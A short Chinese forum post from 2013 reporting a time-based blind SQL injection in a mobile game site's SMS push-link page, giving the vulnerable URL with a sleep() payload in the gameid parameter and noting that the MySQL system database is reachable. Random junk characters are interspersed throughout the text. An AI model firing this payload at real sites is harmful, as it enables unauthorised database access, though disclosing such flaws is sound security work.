简要描述：! e$ y) m6 Z, q
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。. O; i) A7 }* f1 r9 o% S9 U9 N6 c
5 j9 y* m, j) j* f' q8 U' {4 ^详细说明：
7 q" p' Q" E# `4 C9 b$ [存在SQL盲注url:
3 L# h. k2 l# v/ @3 Y+ _fenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
2 {. K; m1 c5 _1 w/ Thttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png6 T' G- G1 t% y' w0 F' R: r
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
W4 K+ z2 J( H! Q; p0 Hhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg
4 a* g; x! E7 x# v* Q0 y
/ Q M$ \6 h4 O/ C- A能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对